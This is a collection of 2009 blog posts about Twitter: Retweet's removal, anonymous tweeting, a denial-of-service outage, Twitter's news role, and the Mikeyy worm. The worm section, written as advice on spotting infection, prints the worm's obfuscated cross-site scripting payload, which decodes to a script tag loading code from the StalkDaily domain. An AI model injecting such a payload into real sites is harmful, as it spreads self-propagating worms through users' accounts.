Twitter users blessed with the new Retweet functionality, as explained in our visual guide, will be logging in to find that the new beta feature is no longer available. The removal of the new feature comes only days after it was introduced, with Twitter putting the removal of the feature down to numerous bug errors.

Check out the rest here.

Check it out at http://www.twitterbulletin.com/2009/08/25/twitters-bid-to-trademark-tweet-fails/

Send tweets, good or bad, without fear of being caught with new website-Tweet from Below.

The website is straightforward- simply type in what you want to say and press send. These will the be sent to Tweet From Below’s personal Twitter account, and if using an @ reply, the receiver. No login is required, so no-one will know it was you who sent the tweet.

Read the rest of the article here: http://www.twitterbulletin.com/2009/08/26/post-anonymously-with-tweet-from-below/

A familiar face: Twitter's Fail Whale

Through most of today (6/8/09), social networking site Twitter went down on and off through the day due to a “denial-of-service” attack, most probably due to a hacker with a grudge.

Twitter was soon back on track with no major tragedies- except maybe the annoyance of it’s most devoted users that they couldn’t check new Tweets or update themselves- so all is well.

However, this is not the site’s first attack- less than 4 months ago, a young hacker known as Mikeyy infected many of Twitter’s member with a virus causing them to post dodgy Tweets. If the site is being attacked this frequently, alongside the infamous ‘Fail Whale’, what if Twitter eventually meets it’s match and is therefore shut down for good? I personally believe this could lead to consequences.

Now, if you don’t use Twitter or not a heavy user, it would not have much of an effect on life, it will in fact effect those in the Media industry or other professionals. For them, Twitter has been almost groundbreaking in how news has been discovered.

The first iconic image to appear of the NY plane crash in January. It was taken by Twitter user Janis Krums.

For example, on January 15th, a US plane crashed into the Hudson River in New York. People at their work desks rushed to the windows to see, then straight to Twitter to describe what they were seeing. One Tweet in particular grabbed the attention of the news media,  and that was Janis Krums‘, which contained the first picture of the crash. Without Twitter, this news would not have reached the news stands or our TV screens half as fast. Due to the speed this news appeared on Twitter, the standard of new media was raised.

Another such example would of been the protests surrounding Iran, in which people voiced their thoughts on the elections and events surrounding it, all linked by hash tag “#IranElection“. Such was the want for people to be allowed to voice their concerns, Twitter was even encouraged by a US government department to delay scheduled maintenance to the following day. Without Twitter’s very dominating role in these elections, protestors etc were empowered to voice themselves however they felt without much fear of suppression.

Now, it would be wrong to say Twitter is without it’s convictions. Twitter can be to blame for employees losing their jobs due to online outbursts, which in turn their employer then happened to read. Thus Twitter has to be used carefully if you want to keep your job or not be sued for being defamatory.

So, Twitter may be with it’s problems still, but we need to think of what has been achieved through the use of just 140 characters, whether it’s groundbreaking news at incredible speeds, or freedom of speech where it may not of been possible before.

If we were ever to loose Twitter, we may well be loosing more than just expressing ourselves on the internet.

So who is this Mikeyy? How can you spot and infected profile and what should you do if your profile becomes infected? Well, Mikeyy is in fact a real person. Real name Micheal Mooney, and a mere 17 years old, he is the creator of the virus via StalkDaily- don’t check out the site, as that is where the virus is ’stored’.

You can notice an infected follower by an unusual status update which they did not generate, along the lines of either “Hey everyone, join www. StalkDaily. com. It’s a site like Twitter but with pictures, videos, and so much more! ” or suggesting that Twitter should hire Mikeyy. Some cases have seen cruder tweets. There’s also a problem in the user’s name. instead of being able to see their full name on their profile, instead you’d see this script or similar:

><title><script>document.write(String.fromCharCode(60,115,99, 114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119, 119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97, 106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

DO NOT GO ONTO THEIR PROFILE, as this is what helps the worm spread.

Okay, so what if curiosity got the better of you and now you are infected (you’ll know by the random status update you just made)? Don’t panic, this worm is no threat to your personal information. Though just to be safe, change your password anyway. You will be locked out of your profile by Twitter as an infected profile anyway, so follow the prompts. Then simply change your name back and you are no longer infected.

Why did Mooney do this? Apparently, Mooney does this to many websites, mainly “out of boredom”. There is even one cease and desist form circulating the internet from a previous site he attacked here. One website, The Drill Down, managed to grab an interview with the teen, which you can listen to here: The Drill Down

So, remember, don’t click on suspicious profiles and if in doubt, change your password.